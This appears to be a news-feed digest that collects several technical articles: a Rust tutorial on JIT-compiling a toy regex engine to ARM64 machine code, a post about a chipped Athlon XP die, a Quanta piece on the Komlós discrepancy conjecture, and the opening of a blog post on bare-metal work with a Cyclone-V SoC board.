    JIT compilation is the practice of generating compiled code at runtime or “Just In Time”. When done right, it can result in big performance wins, often on the order of 2-5x and sometimes even more. The main use case for JIT compilation is when there’s information you gain at runtime that drastically alters the behavior of your program. This is particularly common with programming language interpreters; they receive the code to execute at runtime. JIT compilers are also useful in domains beyond programming languages, such as parsing data. Sometimes you don’t know the schema of the data you’re parsing until runtime, and a JIT can help with that.


    To kick things off, let’s implement a toy regular expression engine. To keep things simple, we’ll support only two features: literal strings and repetition (i.e. the regex *). We’ll also skip the parser and represent the regular expression as already parsed Rust structures. This means we’ll be able to support strings such as:

    • apples
    • b(an)*

    but no alternation or lookbehind or anything like that.

    In code this is pretty simple. We’ll have 3 types of Nodes: a literal string node, a repetition node, and a concatenation node, which is the combination of two nodes. This ends up looking like this:

    enum Node {
        Literal(&'static str),
        Concatenation(Box<Node>, Box<Node>),
        Repetition(Box<Node>),
    }
    
    fn literal(text: &'static str) -> Node {
        Node::Literal(text)
    }
    
    fn concatenation(left: Node, right: Node) -> Node {
        Node::Concatenation(Box::new(left), Box::new(right))
    }
    
    fn repetition(body: Node) -> Node {
        Node::Repetition(Box::new(body))
    }
    

    Writing an interpreter for our regular expression engine is also straightforward:

    fn match_node(node: &Node, input: &[u8], pos: usize, next: &dyn Fn(usize) -> bool) -> bool {
        match node {
            Node::Literal(text) => {
                let literal = text.as_bytes();
                input[pos..].starts_with(literal) && next(pos + literal.len())
            }
    
            Node::Concatenation(left, right) => {
                match_node(left, input, pos, &|left_end| {
                    match_node(right, input, left_end, next)
                })
            }
    
            Node::Repetition(body) => {
                match_node(body, input, pos, &|body_end| {
                    match_node(node, input, body_end, next)
                }) || next(pos)
            }
        }
    }
    
    fn interp_match(regex: &Node, input: &str) -> bool {
        let bytes = input.as_bytes();
        match_node(regex, bytes, 0, &|pos| pos == bytes.len())
    }
    

    Now this regular expression engine is pretty simple. It’s under 20 lines of code, but let’s see how it does in terms of performance. For comparison, we’ll compare the code against handwritten code implemented specifically for the regex. For our example we’ll use the regex b(an)*. The handwritten code ends up looking like:

    fn handwritten_b_an_star(input: &str) -> bool {
        let bytes = input.as_bytes();
        let mut pos = 0;
    
        if pos == bytes.len() || bytes[pos] != b'b' {
            return false;
        }
        pos += 1;
    
        while pos < bytes.len() {
            if bytes[pos] != b'a' {
                return false;
            }
            pos += 1;
            if pos == bytes.len() || bytes[pos] != b'n' {
                return false;
            }
            pos += 1;
        }
        true
    }
    

    (There are ways you could optimize this code and make it much faster, but for our purposes it serves as a good comparison)

    When I benchmark a couple of examples against these two, I get that the handwritten version is 10-20x faster than the interpreter. Clearly a lot of room for improvement.

    Now let’s take a look at how we can use JIT compilation to get a general regular expression engine that performs as well as the handwritten version.

    How to JIT Compile

    There are two steps to JIT compile code. First you generate the assembly for the code you want to run. Once you have the code, you then package the assembly code into a function that you can call like any other code into your program.

    To generate the assembly, we will use a variant of an approach called copy-and-patch. The idea is that we have a series of templates in assembly for the different operations we want to JIT compile. These templates are called “stencils”. When we want to JIT compile an operation, we take the associated stencil and make small tweaks based on the specifics of the operation. Very similar to filling in a real stencil. By stringing together several of these filled stencils, we can construct a program at runtime that has similar performance to the handwritten version.

    Here’s the path we’ll take: first we’ll look at the ARM64 code we want to generate for b(an)*. Then we’ll turn repeated instruction sequences into reusable stencils, write an emitter that fills and combines those stencils from the regex AST, and finally copy the generated instructions into executable memory so Rust can call them like a normal function.

    To walk you through how this works, it’s easiest to start with the generated code and work backwards to the JIT compiler itself. Again, we’re working with the regex “b(an)*”. To lay out some design decisions:

    • We’ll use a stack for backtracking. The stack will keep track of the state we should go to if we hit a dead end in the regex
    • The string we are matching with will end in a null byte. That means any of our character comparisons will automatically fail if we hit the end of the string. This means we don’t have to do any length comparisons at any point

    For the state of our program we will use the following registers:

    • x0 – current position in string and return value
    • x1 – top of stack used for backtracking
    • x2 – bottom of stack used for backtracking (this is needed to determine if the stack is empty)
    • x9 – used as a temporary variable

    For the inputs into our program, we will be passed:

    • x0 – a pointer to the start of the string
    • x1 – a pointer to the location we will use for our stack

    Generated ARM64

    Now that we’ve taken care of that, let’s walk through the generated assembly part by part. This is specifically on macOS with ARM64. First up, we have the prologue, which initializes the program. All it does is initialize the stack by setting the top of the stack and the bottom of the stack to the value passed in:

    0:  aa0103e2   mov   x2, x1
    

    Next up, we have the code that checks for the character b. If it sees a character that’s not b, we jump to a block of code that handles fallback logic. Otherwise, we advance our position in the string:

    ; CHAR 'b'
      4:  39400009   ldrb  w9, [x0]                  ; load current input byte
      8:  7101893f   cmp   w9, #0x62                 ; is it 'b'?
      c:  54000281   b.ne  0x5c                      ; no -> fallback block
     10:  91000400   add   x0, x0, #1                ; yes -> advance input
    

    Next up, we have the repetition (an)*. For the repetition, we need to do the backtracking. If we backtrack here, that means we jump immediately to the end of the loop. That means we need to store both the address of the instruction after the loop and our position in the string on the stack.

     14:  d2800989   movz  x9, #0x004c               ; build resume address
     18:  f2a00009   movk  x9, #0x0000, lsl #16      ;   = 0x1_0000_004c
     1c:  f2c00029   movk  x9, #0x0001, lsl #32      ;   (the loop exit)
     20:  f2e00009   movk  x9, #0x0000, lsl #48      ;
     24:  a8810029   stp   x9, x0, [x1], #16         ; push (exit, pos) onto stack
    

    With that in place, we can now execute the body of the repetition. This will check for the characters ‘a’ and ‘n’ and, if it sees them, go back to the top of the repetition, but at a new string location.

    ; CHAR 'a'
     28:  39400009   ldrb  w9, [x0]
     2c:  7101853f   cmp   w9, #0x61                 ; 'a'?
     30:  54000161   b.ne  0x5c                      ; no -> fallback block
     34:  91000400   add   x0, x0, #1
    
    ; CHAR 'n'
     38:  39400009   ldrb  w9, [x0]
     3c:  7101b93f   cmp   w9, #0x6e                 ; 'n'?
     40:  540000e1   b.ne  0x5c                      ; no -> fallback block
     44:  91000400   add   x0, x0, #1
    
    ; JMP
     48:  17fffff3   b     0x14                      ; back to top of loop
    

    Now we’re past the loop. This is where the backtracking will jump once we backtrack. Once we finish the repetition, we’re at the end of the regex. All we have to do now is check if we’re at the end of the string. If we are at the end of the string, we return 1 for success. If we are not, that means the regex failed to match, and we need to run the fail logic to do a fallback.

     4c:  39400009   ldrb  w9, [x0]
     50:  35000069   cbnz  w9, 0x5c                  ; not at NUL -> fallback block
     54:  d2800020   mov   x0, #1                    ; success
     58:  d65f03c0   ret
    

    And then finally, we have the fallback logic. This checks if the stack is empty. If it is, we return 0. If it’s not empty, we pop both the fallback address and the fallback string position off the stack, and then jump to the fallback address.

     5c:  eb02003f   cmp   x1, x2                    ; any frames left?
     60:  54000060   b.eq  0x6c                      ; no -> give up
     64:  a9ff0029   ldp   x9, x0, [x1, #-16]!       ; pop (resume, pos)
     68:  d61f0120   br    x9                        ; jump there
     6c:  d2800000   mov   x0, #0                    ; no match
     70:  d65f03c0   ret
    

    Building the Stencils

    Now that you’ve had the chance to see the compiled code, you should start to get a sense of how the copy-and-patch compiler would work. We have common sets of instructions with only minor differences between them. For each of these blocks of functions, we can write a function to generate the respective code. Each function will take in values to use to modify the code. For example, one of the arguments to stencil_char will be the char in the regex to compare against. We’ll insert that char directly into the machine code.

    The prologue is straightforward since it’s just a block of code:

    const PROLOGUE_WORDS: usize = 1;
    
    fn stencil_prologue() -> [u32; PROLOGUE_WORDS] {
        [0xAA0103E2] // mov x2, x1
    }
    

    For character comparison, we need to insert the character we’re comparing against and where to jump for the fallback logic:

    const CHAR_WORDS: usize = 4;
    
    fn stencil_char(byte: u8, stencil_pos: usize, fail_pos: usize) -> [u32; CHAR_WORDS] {
        [
            0x39400009,                                                 // ldrb w9, [x0]
            0x7100013F | ((byte as u32) << 10),                         // cmp  w9, #byte
            0x54000001 | cond_branch_offset(stencil_pos + 2, fail_pos), // b.ne fail
            0x91000400,                                                 // add  x0, x0, #1
        ]
    }
    

    For the repetition, we have the start of the loop that pushes onto the stack and the jump onto the end:

    const SPLIT_WORDS: usize = 5;
    
    fn stencil_split(resume_addr: u64) -> [u32; SPLIT_WORDS] {
        [
            0xD2800009 | addr_bits(resume_addr, 0), // movz x9, #addr[0..16]
            0xF2A00009 | addr_bits(resume_addr, 1), // movk x9, #addr[16..32], lsl 16
            0xF2C00009 | addr_bits(resume_addr, 2), // movk x9, #addr[32..48], lsl 32
            0xF2E00009 | addr_bits(resume_addr, 3), // movk x9, #addr[48..64], lsl 48
            0xA8810029,                             // stp  x9, x0, [x1], #16
        ]
    }
    
    const JMP_WORDS: usize = 1;
    
    fn stencil_jmp(stencil_pos: usize, target_pos: usize) -> [u32; JMP_WORDS] {
        [0x14000000 | branch_offset(stencil_pos, target_pos)] // b target
    }
    

    And then we have the match and fail blocks which are pretty clean:

    const MATCH_WORDS: usize = 4;
    
    fn stencil_match(stencil_pos: usize, fail_pos: usize) -> [u32; MATCH_WORDS] {
        [
            0x39400009,                                                 // ldrb w9, [x0]
            0x35000009 | cond_branch_offset(stencil_pos + 1, fail_pos), // cbnz w9, fail
            0xD2800020,                                                 // mov  x0, #1
            0xD65F03C0,                                                 // ret
        ]
    }
    
    const FAIL_WORDS: usize = 6;
    
    fn stencil_fail() -> [u32; FAIL_WORDS] {
        [
            0xEB02003F, // cmp  x1, x2
            0x54000060, // b.eq +3 (to the mov below)
            0xA9FF0029, // ldp  x9, x0, [x1, #-16]!
            0xD61F0120, // br   x9
            0xD2800000, // mov  x0, #0
            0xD65F03C0, // ret
        ]
    }
    

    For completeness, here’s the helper functions we used which just help us insert specific data into the instructions:

    // Compute the branch-offset field for a conditional branch (b.ne / cbnz):
    // the instruction count from branch to target, stored in bits 5..24.
    fn cond_branch_offset(branch_pos: usize, target_pos: usize) -> u32 {
        let instr_count = target_pos as i64 - branch_pos as i64; // may be negative
        (((instr_count as u64) & 0x7FFFF) << 5) as u32
    }
    
    // Compute the branch-offset field for an unconditional branch (b):
    // same idea, but stored in bits 0..26.
    fn branch_offset(branch_pos: usize, target_pos: usize) -> u32 {
        let instr_count = target_pos as i64 - branch_pos as i64; // may be negative
        ((instr_count as u64) & 0x3FF_FFFF) as u32
    }
    
    // Extract 16 bits of an absolute address, positioned for a movz/movk immediate.
    fn addr_bits(addr: u64, part: usize) -> u32 {
        (((addr >> (16 * part)) & 0xFFFF) as u32) << 5
    }
    

    Emitting Code

    Now the code that drives it:

    // Computes how many instructions a node compiles to.
    fn node_words(node: &Node) -> usize {
        match node {
            Node::Literal(text) => text.len() * CHAR_WORDS,
            Node::Concatenation(left, right) => node_words(left) + node_words(right),
            Node::Repetition(body) => SPLIT_WORDS + node_words(body) + JMP_WORDS,
        }
    }
    
    struct Emitter {
        code: Vec<u32>,
        fail: usize, // word offset of the shared fail block
        base: u64,   // runtime address of code[0], for absolute-address holes
    }
    
    impl Emitter {
        // Returns the offset where the next instruction will be placed.
        fn pos(&self) -> usize {
            self.code.len()
        }
    
        // Appends a filled stencil to the code buffer.
        fn emit(&mut self, stencil: &[u32]) {
            self.code.extend_from_slice(stencil);
        }
    
        // Emits the code for one node, recursing into children.
        fn emit_node(&mut self, node: &Node) {
            match node {
                Node::Literal(text) => {
                    for &byte in text.as_bytes() {
                        self.emit(&stencil_char(byte, self.pos(), self.fail));
                    }
                }
                Node::Concatenation(left, right) => {
                    self.emit_node(left);
                    self.emit_node(right);
                }
                Node::Repetition(body) => {
                    let split_at = self.pos();
                    let exit = split_at + SPLIT_WORDS + node_words(body) + JMP_WORDS;
                    self.emit(&stencil_split(self.base + exit as u64 * 4));
                    self.emit_node(body);
                    self.emit(&stencil_jmp(self.pos(), split_at));
                }
            }
        }
    }
    
    // Generates the complete program: prologue, the compiled AST, MATCH, fail block.
    fn generate_code(regex: &Node, base: u64) -> Vec<u32> {
        let nwords = PROLOGUE_WORDS + node_words(regex) + MATCH_WORDS + FAIL_WORDS;
        let mut emitter = Emitter {
            code: Vec::with_capacity(nwords),
            fail: nwords - FAIL_WORDS,
            base,
        };
        emitter.emit(&stencil_prologue());
        emitter.emit_node(regex);
        let match_at = emitter.pos();
        emitter.emit(&stencil_match(match_at, emitter.fail));
        emitter.emit(&stencil_fail());
        assert_eq!(emitter.pos(), nwords);
        emitter.code
    }
    

    And that’s the hard part! Personally, writing assembly is where I find AI the most helpful. My main experience with assembly is completing the microcorruption CTF. I’ve never actually written assembly myself. I would really struggle to figure out the exact instructions needed and how to modify them to get the output I wanted. With AI, I can give my coding agent the general shape of how I want the JIT compiler to work, and it can handle a lot of these details for me.

    Loading Machine Code

    To finish our compiler we need to actually load the code. To do this, we’ll use mmap to allocate a block of memory that is readable, writable, and executable. We’ll then copy the code into that memory and convert that block of memory into a function which we then call:

    const BSTACK_MAX: usize = 4096;
    
    // These functions are included in the mac system library
    unsafe extern "C" {
        fn pthread_jit_write_protect_np(enabled: libc::c_int);
        fn sys_icache_invalidate(start: *mut libc::c_void, len: libc::size_t);
    }
    
    type MatchFn = unsafe extern "C" fn(input: *const u8, bstack: *mut u64) -> u64;
    
    struct Jit {
        buf: *mut u32,
        nbytes: usize,
        bstack: Vec<u64>,
    }
    
    impl Jit {
        fn compile(regex: &Node) -> Jit {
            let nwords = PROLOGUE_WORDS + node_words(regex) + MATCH_WORDS + FAIL_WORDS;
            let nbytes = nwords * 4;
    
            unsafe {
                let buf = libc::mmap(
                    std::ptr::null_mut(),
                    nbytes,
                    libc::PROT_READ | libc::PROT_WRITE | libc::PROT_EXEC,
                    libc::MAP_PRIVATE | libc::MAP_ANON | libc::MAP_JIT,
                    -1,
                    0,
                ) as *mut u32;
                assert!(buf as *mut libc::c_void != libc::MAP_FAILED, "mmap failed");
    
                let code = generate_code(regex, buf as u64);
    
                pthread_jit_write_protect_np(0); // make the region writable (Apple W^X)
                std::slice::from_raw_parts_mut(buf, code.len()).copy_from_slice(&code);
                pthread_jit_write_protect_np(1); // back to executable
                sys_icache_invalidate(buf as *mut libc::c_void, nbytes);
    
                Jit { buf, nbytes, bstack: vec![0; BSTACK_MAX * 2] }
            }
        }
    
        // Runs the generated code. Input must end with a NUL byte.
        fn is_match(&mut self, nul_terminated: &[u8]) -> bool {
            debug_assert_eq!(nul_terminated.last(), Some(&0));
            unsafe {
                let matcher: MatchFn = std::mem::transmute(self.buf);
                matcher(nul_terminated.as_ptr(), self.bstack.as_mut_ptr()) != 0
            }
        }
    }
    
    impl Drop for Jit {
        fn drop(&mut self) {
            unsafe {
                libc::munmap(self.buf as *mut libc::c_void, self.nbytes);
            }
        }
    }
    

    Results

    With all of this complete, let’s compare the performance of the different implementations we built:

    Input length Interpreter JIT Handwritten JIT speedup Handwritten speedup
    9 45 ns 3.8 ns 3.8 ns 11.7x 11.9x
    33 103 ns 7.9 ns 10.5 ns 13.0x 9.8x
    129 597 ns 30 ns 32 ns 19.7x 18.6x
    513 1,955 ns 126 ns 120 ns 15.5x 16.2x
    2,049 8,301 ns 470 ns 393 ns 17.7x 21.1x

    So JIT and the hand-rolled implementation are pretty much neck and neck. Sometimes the JIT version is faster, and sometimes the hand-rolled version is faster.


    There’s been a meme circulating about how AI doesn’t help because “code was never the hard part.” I think that’s true in some domains, but in others, writing the code absolutely was the hard part. JIT compilers are a great example of that. For many pieces of software, a JIT compiler would help a lot with speeding up the code. The rarity of JIT compilers makes me believe that implementing a JIT compiler historically was too difficult for it to be worthwhile. LLMs have lowered the barrier to entry and made it much easier to write a JIT compiler. This is the thesis behind pgrust. Databases historically were the hardest piece of software to build and were limited because of that. Now, with AI, we can be more ambitious about the type of software we build.

    Thanks for reading, and if you want to support the project, the best way to support pgrust is to give us a star on GitHub . If you want to follow along:

    The End of an Athlon

    Hacker News
    www.os2museum.com
    2026-08-23 01:51:01
    Comments...
    Original Article

    When I was researching the mess related to strange and poorly documented CPUID bits in the Athlon MP and XP processors , I had to swap a lot of CPUs. This was uneventful in most cases… but only most.

    When I removed the heatsink from one unlucky Athlon XP, the processor looked like this:

    A chunk of AMD Athlon silicon is just gone

    And this is what the heatsink looked like, with a piece of the CPU glued to it:

    A piece of an Athlon CPU stuck to a heatsink

    There are two interesting things about this. One is that the CPU worked just fine until a good chunk of it came off. The other is that removing the heatsink did not need any particularly excessive force, although some heatsinks do have a tendency to get stuck on.

    Based on the shape of the “extracted” piece of silicon, I suspect there was a relatively long and straight micro-crack in the silicon which did not noticeably impact the operation. But when force was applied, the micro-crack gave way, and then a whole big chunk of silicon came off.

    A close-up of the damaged CPU

    Notice how the right-hand side of the gouge in the CPU is very straight, whereas the left-hand side shows typical fracture marks.

    It is notable that around 2000, both Intel and AMD used flip-chip PGA packaging in an effort to provide better cooling (something both companies struggled with as the TDP of the processors quickly shot past 50W and approached 70-80W).

    Both companies, especially Intel, gave up on this type of packaging relatively quickly. Intel only used it for some PIII models and switched to lidded CPUs for the P4 line, as well as the PIII-S processors. AMD used flip-chip packaging for PGA Athlons but not for Opterons.

    The exposed silicon was a little bit too fragile and required assemblers to install heatsinks very very carefully—if installing a heatsink applied pressure that was too uneven, the silicon would crack. Many vintage flip-chip CPUs have chipped corners, although that usually does not affect operation.

    Processors with lidded packaging still provided very good cooling, but compared to CPUs with exposed silicon they proved much sturdier and far less susceptible to mechanical damage. Especially Intel’s pin-less LGA processors are quite sturdy and not at all prone to mechanical damage, although the weak spot simply moved to the motherboard socket instead .

    This entry was posted in AMD , K7 , PC hardware . Bookmark the permalink .

    Integrating Discord SDK into EVE Frontier

    Lobsters
    skemman.is
    2026-08-23 01:39:03
    Comments...
    Original Article
    No preview for link for known binary extension (.pdf), Link: https://skemman.is/bitstream/1946/50465/2/integrating_discord_sdk_into_eve_frontier_report.pdf.

    ‘Huge Breakthrough’ in the Math of Imbalance

    Lobsters
    www.quantamagazine.org
    2026-08-23 01:23:46
    Comments...
    Original Article

    For the first time in 30 years, computer scientists have found a better way to allocate objects evenly between two groups.

    One does not need a doctorate in mathematics to split 12 eager trivia buffs into two competitive teams. But consider that each person arrives with unique strengths and liabilities: One may be a geography obsessive with no ear for music, another could be a naturalist who doesn’t own a television, and another could be a cinephile who never reads. Balancing traits between two camps becomes a lot harder.

    So, how evenly can you assemble the teams so that they have matching firepower in every category, from Greek mythology to college basketball?

    You can always make the teams surprisingly even, according to researchers studying combinatorial discrepancy theory.

    Discrepancy theory is a branch of mathematics concerned with allocating resources as evenly as possible. If one trivia team gets all the history knowledge, leaving none for the other, that’s a big discrepancy.

    In the early 1980s, the mathematician János Komlós came up with a counterintuitive prediction. He conjectured that no matter how many objects (your players) or dimensions (trivia categories) you consider, the discrepancy — which you can quantify — will never exceed a constant amount. There will always be a way to divide the teams with a discrepancy below that exact amount.

    “This is really astonishing,” said Haotian Jiang , a theoretical computer scientist at the University of Chicago. “The Komlós conjecture says it has nothing to do with the dimension of the problem. It’s a universal constant.”

    No one has ever found a way to contradict the conjecture. Yet it is so astonishing that some mathematicians thought it must be false. Proving it is “one of these holy-grail problems in discrepancy theory,” said Nikhil Bansal , a theoretical computer scientist from the University of Michigan.

    Even the conjecture’s creator thinks it’s somewhat absurd. “I was young and foolish when I made it,” the now retired Komlós joked in an email. “I threw a wrench into combinatorial discrepancy theory with this irresponsible conjecture.”

    If the Komlós conjecture is true, it could unlock answers to many other problems, both within discrepancy theory and in fields like operations research .

    But for decades, a proof looked like a long shot. Mathematicians weren’t able to make much progress; their best upper limit on the discrepancy, achieved in 1998 , still depended strongly on the dimension of the problem. It was far from constant.

    Then, in fall 2025, Bansal and Jiang announced the first major advance on the problem in nearly 30 years. They found a limit that changes so slowly with the dimension that it is only a hair away from constant, even with an astronomical number of dimensions. Other researchers described the work, which used a novel algorithmic approach, as “very exciting,” “a beautiful result,” and “a huge step forward.”

    While the unexpected finding has not fully resolved the problem, it offers the most compelling evidence yet that Komlós’ conjecture wasn’t so irresponsible after all. “I used to lean toward thinking the conjecture is false,” said Aleksandar Nikolov , a computer scientist at the University of Toronto. The new work “is now making me quite a bit more confident that probably the conjecture actually is true.”

    Bansal and Jiang’s solution shows how unfathomably complex systems can be wrangled into something much simpler and easier to study — and offers insights that have potential applications in math, physics, and even machine learning.

    Divide and Conquer

    Discrepancy problems like Komlós’ deal with breaking sets of objects into two subsets. You can think of splitting people into trivia teams, or used cars into lots, or clinical trial participants into treatment and placebo groups.

    The Komlós conjecture imagines each person (or object) as an arrow of length 1 called a unit vector. This vector is defined by a list of coordinates, where each coordinate measures how much of a particular attribute that person has.

    Say you only care about two areas of trivia knowledge — books and movies. Here’s how you might imagine each person as a vector:

    Mark Belan, Samuel Velasco/ Quanta Magazine

    Now assign each vector to a team. If you put a vector in Team A, leave its coordinates alone. If you put it in Team B, multiply each of its coordinates by −1. (This flips the vector around.)

    If you’re able to make a perfect split, dividing people into two teams so that each team has an equal amount of knowledge across books and movies, then all of these vectors should add up to zero. Perfect harmony.

    But perfection usually isn’t possible. So the question becomes: How close to zero can you get?

    In our four-player example, it’s easy to run through all the options. If you do so, you’ll find that Alice and Bob should be on one team, and Carla and Dave on the other. (Notably, you don’t need the teams to have the same number of people: You just want to split the vectors up, multiplying as many by −1 as you need to, so that the vectors cancel each other out.)

    This task gets much harder when you have more vectors and more attributes you want to balance out. Yet Komlós had a particularly optimistic hypothesis: that no matter how many vectors or attributes you consider, there should always be a way to split the vectors up so that the sum falls below the same universal constant.

    In practice, that hypothesis appears to be far from true. Consider one naïve strategy: Simply assign vectors to teams at random. This leads to a discrepancy that skyrockets as the number of vectors, N , increases. In 1985, Joel Spencer found a better bound, capping discrepancy below the logarithm of N ; in 1998, Wojciech Banaszczyk improved the bound to $latex \sqrt{\log N}$, which can also be written as log( N ) ½ . Both were meaningful strides, but the amount of imbalance still grew as the number of vectors did. Komlós’ constant felt out of reach.

    That’s when computer scientists started to get involved.

    Split Scene

    In the late 2000s, discrepancy problems started to attract the attention of theoretical computer scientists. Bansal was among them. He hoped to make progress on the Komlós problem by writing down a series of logical steps — an algorithm — that a computer could theoretically execute.

    Many researchers thought that no such algorithm could exist; instead, they said, calculating an exact solution to the problem would be impossible. But Bansal didn’t know this at the time. He feels his ignorance was a blessing. “Otherwise I wouldn’t have dared to go against that wisdom,” he said.

    In 2010, he came up with an idea for an algorithm . He started by splitting each vector in half. For example, if Alice’s vector is <1, 0>, he’d send <½, 0> to Team A and <½, 0> to Team B. “I could chop a person into two,” Bansal said. He then used a random procedure to gradually massage each half-vector so that one team ended up with the original <1, 0> fully on their side. All the while, he made sure not to let the discrepancy balloon too much at every step.

    He proved that his algorithm, if implemented on a computer, could split the vectors up so that their discrepancy was capped at the same log( N ) bound that Spencer had found. “Nobody had even thought it was possible,” said Raghu Meka , a computer scientist who works on discrepancy algorithms at the University of California, Los Angeles. “That was completely out of the box.”

    In 2016, Bansal adjusted his algorithm to match Banaszczyk’s bound of log( N ) ½ — the standing record.

    The work inspired other researchers to think about discrepancy problems in a new way. “It also gave a new method on a problem that people had kind of no approaches for,” Meka said.

    Still, “as computer scientists, we were catching up to these results that we know smart math people already proved,” Bansal said. He now wondered whether he could push this new method further — to not just match old records but set new ones.

    Dependent Cause

    In 2019, Bansal met Haotian Jiang, then a graduate student at the University of Washington, at a conference. The computer scientists bonded over their interest in discrepancy algorithms, and a few years later, together with Meka and two other researchers, they proved the Komlós conjecture , but only under specific conditions. Bansal and Jiang enjoyed working together and resolved to continue collaborating on the full conjecture.

    “[We] have a nice chemistry,” Bansal said. “I can throw half-baked ideas at him, and he picks it up. And he can do the same.”

    In February 2025, Jiang visited Bansal for a week in Ann Arbor. By the second day, they had a lead on how they might lower the stubborn upper bound.

    In their previous algorithms, they’d focused on constraining the discrepancy that inevitably accumulates over time. Now, they built in additional restrictions.

    Discrepancy inherently depends on many dimensions at once. If two car dealerships split a new batch of inventory so that they have the same number of cars in each color, but one dealer has more convertibles, it’s tricky to later equalize the convertibles without upsetting the balance in the color dimension. You can’t confine discrepancy effects to any particular dimension. “They’re really so highly intertwined,” Bansal said.

    He and Jiang wanted to try to uncover a hidden independence. “It felt like a crazy idea when we first bounced off each other,” he said. “But then when we were playing with it, we thought it’s not as crazy as it sounds.”

    Over the next few months, they figured out how to make it work. Their new algorithm would measure not just the overall discrepancy but also “dependency” — if you randomly perturb one attribute, how much will the discrepancy among the other attributes change? The pair assigned halves of vectors to each group, as Bansal’s previous algorithms had done. Now, however, when it came to randomly perturbing those fractions to make them whole, Bansal and Jiang carefully designed their algorithm to reduce joint impacts. “Somehow, even though superficially [the attributes] are related,” Bansal said, “you can move in such a way that they don’t really bother each other.”

    This allowed him and Jiang to exert greater control over how discrepancy evolved at each step. In the end, their algorithm guaranteed that for N vectors, the discrepancy could be at most log( N ) ¼ .

    It’s the first improvement on the Komlós problem in decades. “I used to think that it’s likely that the bound that was known before was just the right bound, and we just had to find a way to prove that we cannot do any better,” said Nikolov, the University of Toronto computer scientist. “So I was definitely surprised that we could do a lot better.”

    “The fourth root of log( N ) is very small,” said Daniel Spielman of Yale University. “Like in your life, you will not see a number for which the fourth root of log( N ) is more than 5. … It’s getting pretty close to constant for every practical purpose.”

    Irresponsible Progress

    Bansal and Jiang’s improvement reaffirms the surprisingly elegant insight that lies at the heart of discrepancy theory: Even when perfect balance is impossible, getting close is feasible, and even practical.

    More progress in discrepancy theory may be around the corner. Crucially, Bansal and Jiang’s algorithm is efficient, according to Rainie Heck of the Alfréd Rényi Institute of Mathematics in Hungary. This efficiency means that researchers could potentially use the algorithm to help tackle other open problems in discrepancy theory, as well as questions in optimization theory, physics, finance, and more. Heck, for instance, studies how discrepancy theory can be applied to improve large language models and other machine learning systems.

    And the recent advance might reinvigorate the search for Komlós’ “irresponsible” constant bound at last. Nikolov and Spielman both expressed newfound confidence that the conjecture is true. Universal constants arise often in math problems, and even the square root of log( N ) rears its head once in a while. A fourth root, not so much, which suggests that this won’t be the final limit. “It’s very rare that that’s the right answer to any problem,” Spielman said.

    Bansal doubts that the algorithmic strategy he’s been using since 2010 will finish the job. “We hit a wall at a quarter root,” he said. “Going beyond that will definitely require something very new.”

    But it’s given researchers hope. “I do think,” Heck said, “that someone will be able to prove it.”

    Why aren't my two Cortex-A9 cores cache coherent?

    Lobsters
    thejpster.org.uk
    2026-08-23 00:48:06
    Comments...
    Original Article

    JP's Website


    Why aren't my two Cortex-A9 cores cache coherent?

    Posted on 2026-08-22

    Contents

    One of my favourite things to do when I have some down time is to grab a random devkit from my pile of random devkits, and try and write some code that will run on it. I generally try and avoid existing SDKs, or installing new tools. I just want to see how little I can write and have something run on the board and have an observable output. If that goes OK, I might go overboard and start writing some little drivers for a few peripherals here and there. If it really gets out of control I might end up having written a whole new Operating System, with VGA output and SD Card support. But usually I'm OK with Hello, World on a UART or a blinking LED.

    I had some time off over the past few weeks and, looking for a change from playing with ARM7 , I picked up my Terasic DE0-Nano-SOC . I've had this board for about 7 years but I hadn't really done anything with it. It's similar to the DE10 Nano board that is used by the MiSTER retro emulation project , but not compatible.

    The Hardware

    The Terasic DE0-Nano-SOC is a small devkit released in around 2015 from what I can tell. It has:

    • An Altera Cyclone-V System on Chip
    • 1 GiB DDR3 SDRAM
    • An RJ45 Ethernet port
    • A 5V power input (barrel-jack)
    • A mini-USB programming port
    • A micro-USB port for an on-board UART to USB Serial convertor
    • An SD Card slot
    • Arduino Uno style headers

    Sadly what it doesn't have is an active cooler, because when running it gets really hot. Like, too hot to touch. I've wired up a spare 80mm fan which seems to do more than enough to keep it cool.

    The Altera Cyclone-V SoC is a combination of a standard Arm SoC (the Hard Processor System ) and an Altera FPGA (with 40K logic elements). In particular, I was interested in the two Arm Cortex-A9 processors.

    The SoC has a built-in Boot ROM that can load a preloader from some special sectors on an SD Card. That preloader will run from On-Chip RAM (OCRAM) and initialise the external DDR3 SDRAM, before loading a full copy of U-Boot from the SD Card into SDRAM and then executing it from there. I didn't want to muck around with all that, so I just downloaded the disk image from https://soc.terasic.com and wrote it to a spare card. It all seemed to boot OK.

    By default it boots into a fairly old Linux kernel (with a root partition stored on the SD Card), but I deleted the kernel causing it to stop at the U-Boot prompt. The on-board USB to Serial adapter means I can just hook up my PC to the micro-USB port, and use minicom on /dev/tty.usbserial-<something> and interact with the board.

    The preloader prints this:

    U-Boot SPL 2013.01.01 (Dec 29 2014 - 15:29:15)
    BOARD : Terasic DE0_Nano_SoC Version-A  Board
    ################################################################################
    ##################################=                                           =#
    ########=-=#######################=                                     --    =#
    ######-   =#######################=                        ####-    =######   =#
    ######-   ###############- -=##=##=                        ####-   ########   =#
    ####=       =##-     -###       ##=   -#######    ######   ####-  #####-  -   =#
    ####        ##   ###   ##      -##=   -=--=###=  ####==#   ####-  ####        =#
    ######-   ###-  ##-  -###    =####=   =====###=  ####-     ####   ####        =#
    ######-   ###      =#####    #####=  ####-=###=    -=###-  ####-  #####       =#
    ######-    -#=     -  =##    #####=  #### -###=  #=-=####  ####-   ########-  ##
    #######    =##=        ##    #####=  -########=  #######   ####-    =######   =#
    #########==######====####==#######=     -         ---      --          ----   =#
    ##################################=                                           =#
    ################################################################################
    BOARD : Terasic  DE0_Nano_SoC Version-A Board
    CLOCK: EOSC1 clock 25000 KHz
    CLOCK: EOSC2 clock 25000 KHz
    CLOCK: F2S_SDR_REF clock 0 KHz
    CLOCK: F2S_PER_REF clock 0 KHz
    CLOCK: MPU clock 925 MHz
    CLOCK: DDR clock 400 MHz
    CLOCK: UART clock 100000 KHz
    CLOCK: MMC clock 50000 KHz
    CLOCK: QSPI clock 3613 KHz
    SDRAM: Initializing MMR registers
    SDRAM: Calibrating PHY
    SEQ.C: Preparing to start memory calibration
    SEQ.C: CALIBRATION PASSED
    SDRAM: 1024 MiB
    ALTERA DWMMC: 0

    It's just a small copy of U-Boot, linked to run from the small amount of On-Chip RAM (OCRAM).

    The full U-Boot then prints this:

    U-Boot 2013.01.01 (Dec 30 2014 - 12:07:34)
    
    CPU   : Altera SOCFPGA Platform
    BOARD : Terasic DE0_Nano_SoC Version-A  Board
